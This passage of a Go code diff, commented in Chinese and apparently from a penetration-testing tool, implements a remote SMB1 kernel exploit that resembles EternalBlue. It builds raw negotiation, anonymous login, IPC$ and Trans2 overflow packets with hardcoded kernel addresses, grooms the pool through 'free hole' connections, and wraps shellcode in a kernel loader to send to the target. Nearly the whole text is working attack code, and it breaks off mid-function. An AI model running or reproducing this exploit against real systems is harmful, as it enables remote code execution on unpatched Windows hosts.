发送最终漏洞利用数据包 + if err = conn.SetReadDeadline(time.Now().Add(10 * time.Second)); err != nil { + return fmt.Errorf("[-] 设置读取超时失败: %v", err) + } + + finalPacket := makeSMB1Trans2ExploitPacket(header.TreeID, header.UserID, 15, "exploit") + if _, err = conn.Write(finalPacket); err != nil { + return fmt.Errorf("[-] 发送漏洞利用数据包失败: %v", err) + } + + // 获取响应并检查状态 + raw, _, err := smb1GetResponse(conn) + if err != nil { + return fmt.Errorf("[-] 获取漏洞利用响应失败: %v", err) + } + + // 提取NT状态码 + ntStatus := []byte{raw[8], raw[7], raw[6], raw[5]} + Common.LogSuccess(fmt.Sprintf("[+] NT Status: 0x%08X", ntStatus)) + + // 发送payload + Common.LogSuccess("[*] 开始发送Payload") + body := makeSMB2Body(payload) + + // 分段发送payload + for _, conn := range groomConns { + if _, err = conn.Write(body[:2920]); err != nil { + return fmt.Errorf("[-] 发送Payload第一段失败: %v", err) + } + } + + for _, conn := range groomConns { + if _, err = conn.Write(body[2920:4073]); err != nil { + return fmt.Errorf("[-] 发送Payload第二段失败: %v", err) + } + } + + Common.LogSuccess("[+] Payload发送完成") + return nil +} + +// makeKernelUserPayload 构建内核用户空间Payload +func makeKernelUserPayload(sc []byte) []byte { + // 创建缓冲区 + buf := bytes.Buffer{} + + // 写入loader代码 + buf.Write(loader[:]) + + // 写入shellcode大小(uint16) + size := make([]byte, 2) + binary.LittleEndian.PutUint16(size, uint16(len(sc))) + buf.Write(size) + + // 写入shellcode内容 + buf.Write(sc) + + return buf.Bytes() +} + +// smb1AnonymousConnectIPC 创建SMB1匿名IPC连接 +func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) { + // 建立TCP连接 + conn, err := net.DialTimeout("tcp", address, 10*time.Second) + if err != nil { + return nil, nil, fmt.Errorf("[-] 连接目标失败: %v", err) + } + + // 连接状态标记 + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + + // SMB协议协商 + if err = smbClientNegotiate(conn); err != nil { + return nil, nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) + } + + // 匿名登录 + raw, header, err := smb1AnonymousLogin(conn) + if err != nil { + return nil, nil, fmt.Errorf("[-] 匿名登录失败: %v", err) + } + + // 获取系统版本信息 + if _, err = getOSName(raw); err != nil { + return nil, nil, fmt.Errorf("[-] 获取系统信息失败: %v", err) + } + + // 连接IPC共享 + header, err = treeConnectAndX(conn, address, header.UserID) + if err != nil { + return nil, nil, fmt.Errorf("[-] 连接IPC共享失败: %v", err) + } + + ok = true + return header, conn, nil +} + +// SMB头部大小常量 +const smbHeaderSize = 32 + +// smbHeader SMB协议头部结构 +type smbHeader struct { + ServerComponent [4]byte // 服务器组件标识 + SMBCommand uint8 // SMB命令码 + ErrorClass uint8 // 错误类别 + Reserved byte // 保留字节 + ErrorCode uint16 // 错误代码 + Flags uint8 // 标志位 + Flags2 uint16 // 扩展标志位 + ProcessIDHigh uint16 // 进程ID高位 + Signature [8]byte // 签名 + Reserved2 [2]byte // 保留字节 + TreeID uint16 // 树连接ID + ProcessID uint16 // 进程ID + UserID uint16 // 用户ID + MultiplexID uint16 // 多路复用ID +} + +// smb1GetResponse 获取SMB1协议响应数据 +func smb1GetResponse(conn net.Conn) ([]byte, *smbHeader, error) { + // 读取NetBIOS会话服务头 + buf := make([]byte, 4) + if _, err := io.ReadFull(conn, buf); err != nil { + return nil, nil, fmt.Errorf("[-] 读取NetBIOS会话服务头失败: %v", err) + } + + // 校验消息类型 + messageType := buf[0] + if messageType != 0x00 { + return nil, nil, fmt.Errorf("[-] 无效的消息类型: 0x%02X", messageType) + } + + // 解析消息体大小 + sizeBuf := make([]byte, 4) + copy(sizeBuf[1:], buf[1:]) + messageSize := int(binary.BigEndian.Uint32(sizeBuf)) + + // 读取SMB消息体 + buf = make([]byte, messageSize) + if _, err := io.ReadFull(conn, buf); err != nil { + return nil, nil, fmt.Errorf("[-] 读取SMB消息体失败: %v", err) + } + + // 解析SMB头部 + header := smbHeader{} + reader := bytes.NewReader(buf[:smbHeaderSize]) + if err := binary.Read(reader, binary.LittleEndian, &header); err != nil { + return nil, nil, fmt.Errorf("[-] 解析SMB头部失败: %v", err) + } + + return buf, &header, nil +} + +// smbClientNegotiate 执行SMB协议协商 +func smbClientNegotiate(conn net.Conn) error { + buf := bytes.Buffer{} + + // 构造NetBIOS会话服务头 + if err := writeNetBIOSHeader(&buf); err != nil { + return fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + } + + // 构造SMB协议头 + if err := writeSMBHeader(&buf); err != nil { + return fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造协议协商请求 + if err := writeNegotiateRequest(&buf); err != nil { + return fmt.Errorf("[-] 构造协议协商请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return fmt.Errorf("[-] 发送协议协商数据包失败: %v", err) + } + + // 获取响应 + if _, _, err := smb1GetResponse(conn); err != nil { + return fmt.Errorf("[-] 获取协议协商响应失败: %v", err) + } + + return nil +} + +// writeNetBIOSHeader 写入NetBIOS会话服务头 +func writeNetBIOSHeader(buf *bytes.Buffer) error { + // 消息类型: Session Message + buf.WriteByte(0x00) + // 长度(固定值) + buf.Write([]byte{0x00, 0x00, 0x54}) + return nil +} + +// writeSMBHeader 写入SMB协议头 +func writeSMBHeader(buf *bytes.Buffer) error { + // SMB协议标识: .SMB + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: Negotiate Protocol + buf.WriteByte(0x72) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x01, 0x28}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0x2F, 0x4B}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0xC5, 0x5E}) + return nil +} + +// writeNegotiateRequest 写入协议协商请求 +func writeNegotiateRequest(buf *bytes.Buffer) error { + // 字段数 + buf.WriteByte(0x00) + // 字节数 + buf.Write([]byte{0x31, 0x00}) + + // 写入支持的方言 + dialects := [][]byte{ + {0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00}, // LAN MAN1.0 + {0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00}, // LM1.2X002 + {0x4E, 0x54, 0x20, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x20, 0x31, 0x2E, 0x30, 0x00}, // NT LAN MAN 1.0 + {0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00}, // NT LM 0.12 + } + + for _, dialect := range dialects { + buf.WriteByte(0x02) // 方言标记 + buf.Write(dialect) + } + + return nil +} + +// smb1AnonymousLogin 执行SMB1匿名登录 +func smb1AnonymousLogin(conn net.Conn) ([]byte, *smbHeader, error) { + buf := bytes.Buffer{} + + // 构造NetBIOS会话服务头 + if err := writeNetBIOSLoginHeader(&buf); err != nil { + return nil, nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + } + + // 构造SMB协议头 + if err := writeSMBLoginHeader(&buf); err != nil { + return nil, nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造会话设置请求 + if err := writeSessionSetupRequest(&buf); err != nil { + return nil, nil, fmt.Errorf("[-] 构造会话设置请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, nil, fmt.Errorf("[-] 发送登录数据包失败: %v", err) + } + + // 获取响应 + return smb1GetResponse(conn) +} + +// writeNetBIOSLoginHeader 写入NetBIOS会话服务头 +func writeNetBIOSLoginHeader(buf *bytes.Buffer) error { + // 消息类型: Session Message + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x88}) + return nil +} + +// writeSMBLoginHeader 写入SMB协议头 +func writeSMBLoginHeader(buf *bytes.Buffer) error { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: Session Setup AndX + buf.WriteByte(0x73) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 签名2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) + return nil +} + +// writeSessionSetupRequest 写入会话设置请求 +func writeSessionSetupRequest(buf *bytes.Buffer) error { + // 字段数 + buf.WriteByte(0x0D) + // 无后续命令 + buf.WriteByte(0xFF) + // 保留字段 + buf.WriteByte(0x00) + // AndX偏移 + buf.Write([]byte{0x88, 0x00}) + // 最大缓冲区 + buf.Write([]byte{0x04, 0x11}) + // 最大并发数 + buf.Write([]byte{0x0A, 0x00}) + // VC编号 + buf.Write([]byte{0x00, 0x00}) + // 会话密钥 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // ANSI密码长度 + buf.Write([]byte{0x01, 0x00}) + // Unicode密码长度 + buf.Write([]byte{0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 功能标志 + buf.Write([]byte{0xD4, 0x00, 0x00, 0x00}) + // 字节数 + buf.Write([]byte{0x4b, 0x00}) + + // 认证信息 + buf.WriteByte(0x00) // ANSI密码 + buf.Write([]byte{0x00, 0x00}) // 账户名 + buf.Write([]byte{0x00, 0x00}) // 域名 + + // 写入操作系统信息 + writeOSInfo(buf) + + return nil +} + +// writeOSInfo 写入操作系统信息 +func writeOSInfo(buf *bytes.Buffer) { + // 原生操作系统: Windows 2000 2195 + osInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x31, 0x00, 0x39, 0x00, 0x35, 0x00, 0x00, 0x00} + buf.Write(osInfo) + + // 原生LAN Manager: Windows 2000 5.0 + lanInfo := []byte{0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, + 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x20, 0x00, 0x35, 0x00, + 0x2e, 0x00, 0x30, 0x00, 0x00, 0x00} + buf.Write(lanInfo) +} + +// getOSName 从SMB响应中提取操作系统名称 +// 跳过SMB头部、字数统计、AndX命令、保留字段、AndX偏移量、操作标志、字节数以及魔数0x41(A) +func getOSName(raw []byte) (string, error) { + // 创建缓冲区存储操作系统名称 + osBuf := bytes.Buffer{} + + // 创建读取器,定位到操作系统名称开始位置 + reader := bytes.NewReader(raw[smbHeaderSize+10:]) + + // 读取UTF-16编码的操作系统名称 + char := make([]byte, 2) + for { + if _, err := io.ReadFull(reader, char); err != nil { + return "", fmt.Errorf("[-] 读取操作系统名称失败: %v", err) + } + + // 遇到结束符(0x00 0x00)时退出 + if bytes.Equal(char, []byte{0x00, 0x00}) { + break + } + + osBuf.Write(char) + } + + // 将UTF-16编码转换为ASCII编码 + bufLen := osBuf.Len() + osName := make([]byte, 0, bufLen/2) + rawBytes := osBuf.Bytes() + + // 每隔两个字节取一个字节(去除UTF-16的高字节) + for i := 0; i < bufLen; i += 2 { + osName = append(osName, rawBytes[i]) + } + + return string(osName), nil +} + +// treeConnectAndX 执行SMB树连接请求 +func treeConnectAndX(conn net.Conn, address string, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // 构造NetBIOS会话服务头 + if err := writeNetBIOSTreeHeader(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + } + + // 构造SMB协议头 + if err := writeSMBTreeHeader(&buf, userID); err != nil { + return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造树连接请求 + if err := writeTreeConnectRequest(&buf, address); err != nil { + return nil, fmt.Errorf("[-] 构造树连接请求失败: %v", err) + } + + // 更新数据包大小 + updatePacketSize(&buf) + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, fmt.Errorf("[-] 发送树连接请求失败: %v", err) + } + + // 获取响应 + _, header, err := smb1GetResponse(conn) + if err != nil { + return nil, fmt.Errorf("[-] 获取树连接响应失败: %v", err) + } + + return header, nil +} + +// writeNetBIOSTreeHeader 写入NetBIOS会话服务头 +func writeNetBIOSTreeHeader(buf *bytes.Buffer) error { + // 消息类型 + buf.WriteByte(0x00) + // 长度(稍后更新) + buf.Write([]byte{0x00, 0x00, 0x00}) + return nil +} + +// writeSMBTreeHeader 写入SMB协议头 +func writeSMBTreeHeader(buf *bytes.Buffer, userID uint16) error { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: Tree Connect AndX + buf.WriteByte(0x75) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x01, 0x20}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0x2F, 0x4B}) + // 用户ID + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + // 多路复用ID + buf.Write([]byte{0xC5, 0x5E}) + return nil +} + +// writeTreeConnectRequest 写入树连接请求 +func writeTreeConnectRequest(buf *bytes.Buffer, address string) error { + // 字段数 + buf.WriteByte(0x04) + // 无后续命令 + buf.WriteByte(0xFF) + // 保留字段 + buf.WriteByte(0x00) + // AndX偏移 + buf.Write([]byte{0x00, 0x00}) + // 标志位 + buf.Write([]byte{0x00, 0x00}) + // 密码长度 + buf.Write([]byte{0x01, 0x00}) + // 字节数 + buf.Write([]byte{0x1A, 0x00}) + // 密码 + buf.WriteByte(0x00) + + // IPC路径 + host, _, err := net.SplitHostPort(address) + if err != nil { + return fmt.Errorf("[-] 解析地址失败: %v", err) + } + _, _ = fmt.Fprintf(buf, "\\\\%s\\IPC$", host) + + // IPC结束符 + buf.WriteByte(0x00) + // 服务类型 + buf.Write([]byte{0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x00}) + + return nil +} + +// updatePacketSize 更新数据包大小 +func updatePacketSize(buf *bytes.Buffer) { + b := buf.Bytes() + sizeBuf := make([]byte, 4) + binary.BigEndian.PutUint32(sizeBuf, uint32(buf.Len()-4)) + copy(b[1:], sizeBuf[1:]) +} + +// smb1LargeBuffer 发送大缓冲区数据包 +func smb1LargeBuffer(conn net.Conn, header *smbHeader) error { + // 发送NT Trans请求获取事务头 + transHeader, err := sendNTTrans(conn, header.TreeID, header.UserID) + if err != nil { + return fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) + } + + treeID := transHeader.TreeID + userID := transHeader.UserID + + // 构造数据包 + var transPackets []byte + + // 添加初始Trans2请求包 + initialPacket := makeSMB1Trans2ExploitPacket(treeID, userID, 0, "zero") + transPackets = append(transPackets, initialPacket...) + + // 添加中间的Trans2数据包 + for i := 1; i < 15; i++ { + packet := makeSMB1Trans2ExploitPacket(treeID, userID, i, "buffer") + transPackets = append(transPackets, packet...) + } + + // 添加Echo数据包 + echoPacket := makeSMB1EchoPacket(treeID, userID) + transPackets = append(transPackets, echoPacket...) + + // 发送组合数据包 + if _, err := conn.Write(transPackets); err != nil { + return fmt.Errorf("[-] 发送大缓冲区数据失败: %v", err) + } + + // 获取响应 + if _, _, err := smb1GetResponse(conn); err != nil { + return fmt.Errorf("[-] 获取大缓冲区响应失败: %v", err) + } + + return nil +} + +// sendNTTrans 发送NT Trans请求 +func sendNTTrans(conn net.Conn, treeID, userID uint16) (*smbHeader, error) { + buf := bytes.Buffer{} + + // 构造NetBIOS会话服务头 + if err := writeNetBIOSNTTransHeader(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NetBIOS头失败: %v", err) + } + + // 构造SMB协议头 + if err := writeSMBNTTransHeader(&buf, treeID, userID); err != nil { + return nil, fmt.Errorf("[-] 构造SMB头失败: %v", err) + } + + // 构造NT Trans请求 + if err := writeNTTransRequest(&buf); err != nil { + return nil, fmt.Errorf("[-] 构造NT Trans请求失败: %v", err) + } + + // 发送数据包 + if _, err := buf.WriteTo(conn); err != nil { + return nil, fmt.Errorf("[-] 发送NT Trans请求失败: %v", err) + } + + // 获取响应 + _, header, err := smb1GetResponse(conn) + if err != nil { + return nil, fmt.Errorf("[-] 获取NT Trans响应失败: %v", err) + } + + return header, nil +} + +// writeNetBIOSNTTransHeader 写入NetBIOS会话服务头 +func writeNetBIOSNTTransHeader(buf *bytes.Buffer) error { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x04, 0x38}) + return nil +} + +// writeSMBNTTransHeader 写入SMB协议头 +func writeSMBNTTransHeader(buf *bytes.Buffer, treeID, userID uint16) error { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // 命令: NT Trans + buf.WriteByte(0xA0) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 签名2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + + // 树ID + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + + // 用户ID + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) + return nil +} + +// writeNTTransRequest 写入NT Trans请求 +func writeNTTransRequest(buf *bytes.Buffer) error { + // 字段数 + buf.WriteByte(0x14) + // 最大设置数 + buf.WriteByte(0x01) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 总参数数 + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // 总数据数 + buf.Write([]byte{0xd0, 0x03, 0x01, 0x00}) + // 最大参数数 + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // 最大数据数 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 参数数 + buf.Write([]byte{0x1E, 0x00, 0x00, 0x00}) + // 参数偏移 + buf.Write([]byte{0x4B, 0x00, 0x00, 0x00}) + // 数据数 + buf.Write([]byte{0xd0, 0x03, 0x00, 0x00}) + // 数据偏移 + buf.Write([]byte{0x68, 0x00, 0x00, 0x00}) + // 设置数 + buf.WriteByte(0x01) + // 未知功能 + buf.Write([]byte{0x00, 0x00}) + // 未知NT事务设置 + buf.Write([]byte{0x00, 0x00}) + // 字节数 + buf.Write([]byte{0xEC, 0x03}) + + // NT参数 + buf.Write(makeZero(0x1F)) + // 未文档化字段 + buf.WriteByte(0x01) + buf.Write(makeZero(0x03CD)) + + return nil +} + +// makeSMB1Trans2ExploitPacket 创建SMB1 Trans2利用数据包 +func makeSMB1Trans2ExploitPacket(treeID, userID uint16, timeout int, typ string) []byte { + // 计算超时值 + timeout = timeout*0x10 + 3 + buf := bytes.Buffer{} + + // 构造NetBIOS会话服务头 + writeNetBIOSTrans2Header(&buf) + + // 构造SMB协议头 + writeSMBTrans2Header(&buf, treeID, userID) + + // 构造Trans2请求 + writeTrans2RequestHeader(&buf, timeout) + + // 根据类型添加特定数据 + writeTrans2PayloadByType(&buf, typ) + + return buf.Bytes() +} + +// writeNetBIOSTrans2Header 写入NetBIOS会话服务头 +func writeNetBIOSTrans2Header(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x10, 0x35}) +} + +// writeSMBTrans2Header 写入SMB协议头 +func writeSMBTrans2Header(buf *bytes.Buffer, treeID, userID uint16) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Trans2请求 + buf.WriteByte(0x33) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + + // 树ID + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + + // 用户ID + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeTrans2RequestHeader 写入Trans2请求头 +func writeTrans2RequestHeader(buf *bytes.Buffer, timeout int) { + // 字段数 + buf.WriteByte(0x09) + // 总参数数 + buf.Write([]byte{0x00, 0x00}) + // 总数据数 + buf.Write([]byte{0x00, 0x10}) + // 最大参数数 + buf.Write([]byte{0x00, 0x00}) + // 最大数据数 + buf.Write([]byte{0x00, 0x00}) + // 最大设置数 + buf.WriteByte(0x00) + // 保留字段 + buf.WriteByte(0x00) + // 标志位 + buf.Write([]byte{0x00, 0x10}) + // 超时设置 + buf.Write([]byte{0x35, 0x00, 0xD0}) + buf.WriteByte(byte(timeout)) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 参数数 + buf.Write([]byte{0x00, 0x10}) +} + +// writeTrans2PayloadByType 根据类型写入负载数据 +func writeTrans2PayloadByType(buf *bytes.Buffer, typ string) { + switch typ { + case "exploit": + writeExploitPayload(buf) + case "zero": + writeZeroPayload(buf) + default: + // 默认填充 + buf.Write(bytes.Repeat([]byte{0x41}, 4096)) + } +} + +// writeExploitPayload 写入exploit类型负载 +func writeExploitPayload(buf *bytes.Buffer) { + // 溢出数据 + buf.Write(bytes.Repeat([]byte{0x41}, 2957)) + buf.Write([]byte{0x80, 0x00, 0xA8, 0x00}) + + // 固定格式数据 + buf.Write(makeZero(0x10)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x06)) + buf.Write([]byte{0xFF, 0xFF}) + buf.Write(makeZero(0x16)) + + // x86地址 + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x20, 0xF0, 0xDF, 0xFF}) + + // x64地址 + buf.Write([]byte{0x00, 0xF1, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + + // 后续数据 + writeExploitTrailingData(buf) +} + +// writeExploitTrailingData 写入exploit类型的尾部数据 +func writeExploitTrailingData(buf *bytes.Buffer) { + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x80, 0xEF, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0x10, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write([]byte{0x18, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x10)) + buf.Write([]byte{0x60, 0x00, 0x04, 0x10}) + buf.Write(makeZero(0x0C)) + buf.Write([]byte{0x90, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x80, 0x10}) + buf.Write(makeZero(0x0E)) + buf.Write([]byte{0x39, 0xBB}) + buf.Write(bytes.Repeat([]byte{0x41}, 965)) +} + +// writeZeroPayload 写入zero类型负载 +func writeZeroPayload(buf *bytes.Buffer) { + buf.Write(makeZero(2055)) + buf.Write([]byte{0x83, 0xF3}) + buf.Write(bytes.Repeat([]byte{0x41}, 2039)) +} + +// makeSMB1EchoPacket 创建SMB1 Echo数据包 +func makeSMB1EchoPacket(treeID, userID uint16) []byte { + buf := bytes.Buffer{} + + // 构造NetBIOS会话服务头 + writeNetBIOSEchoHeader(&buf) + + // 构造SMB协议头 + writeSMBEchoHeader(&buf, treeID, userID) + + // 构造Echo请求 + writeEchoRequest(&buf) + + return buf.Bytes() +} + +// writeNetBIOSEchoHeader 写入NetBIOS会话服务头 +func writeNetBIOSEchoHeader(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x31}) +} + +// writeSMBEchoHeader 写入SMB协议头 +func writeSMBEchoHeader(buf *bytes.Buffer, treeID, userID uint16) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Echo命令 + buf.WriteByte(0x2B) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write([]byte{0x07, 0xC0}) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + + // 树ID + treeIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(treeIDBuf, treeID) + buf.Write(treeIDBuf) + + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + + // 用户ID + userIDBuf := make([]byte, 2) + binary.LittleEndian.PutUint16(userIDBuf, userID) + buf.Write(userIDBuf) + + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeEchoRequest 写入Echo请求 +func writeEchoRequest(buf *bytes.Buffer) { + // 字段数 + buf.WriteByte(0x01) + // Echo计数 + buf.Write([]byte{0x01, 0x00}) + // 字节数 + buf.Write([]byte{0x0C, 0x00}) + // Echo数据(IDS签名,可置空) + buf.Write([]byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00}) +} + +// smb1FreeHole 创建SMB1内存释放漏洞连接 +func smb1FreeHole(address string, start bool) (net.Conn, error) { + // 建立TCP连接 + conn, err := net.DialTimeout("tcp", address, 10*time.Second) + if err != nil { + return nil, fmt.Errorf("[-] 连接目标失败: %v", err) + } + + // 连接状态标记 + var ok bool + defer func() { + if !ok { + _ = conn.Close() + } + }() + + // SMB协议协商 + if err = smbClientNegotiate(conn); err != nil { + return nil, fmt.Errorf("[-] SMB协议协商失败: %v", err) + } + + // 根据开始/结束标志设置不同参数 + var flags2, vcNum, nativeOS []byte + if start { + flags2 = []byte{0x07, 0xC0} + vcNum = []byte{0x2D, 0x01} + nativeOS = []byte{0xF0, 0xFF, 0x00, 0x00, 0x00} + } else { + flags2 = []byte{0x07, 0x40} + vcNum = []byte{0x2C, 0x01} + nativeOS = []byte{0xF8, 0x87, 0x00, 0x00, 0x00} + } + + // 构造并发送会话数据包 + packet := makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS) + if _, err = conn.Write(packet); err != nil { + return nil, fmt.Errorf("[-] 发送内存释放会话数据包失败: %v", err) + } + + // 获取响应 + if _, _, err = smb1GetResponse(conn); err != nil { + return nil, fmt.Errorf("[-] 获取会话响应失败: %v", err) + } + + ok = true + return conn, nil +} + +// makeSMB1FreeHoleSessionPacket 创建SMB1内存释放会话数据包 +func makeSMB1FreeHoleSessionPacket(flags2, vcNum, nativeOS []byte) []byte { + buf := bytes.Buffer{} + + // 构造NetBIOS会话服务头 + writeNetBIOSFreeHoleHeader(&buf) + + // 构造SMB协议头 + writeSMBFreeHoleHeader(&buf, flags2) + + // 构造会话设置请求 + writeSessionSetupFreeHoleRequest(&buf, vcNum, nativeOS) + + return buf.Bytes() +} + +// writeNetBIOSFreeHoleHeader 写入NetBIOS会话服务头 +func writeNetBIOSFreeHoleHeader(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x51}) +} + +// writeSMBFreeHoleHeader 写入SMB协议头 +func writeSMBFreeHoleHeader(buf *bytes.Buffer, flags2 []byte) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX命令 + buf.WriteByte(0x73) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write(flags2) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 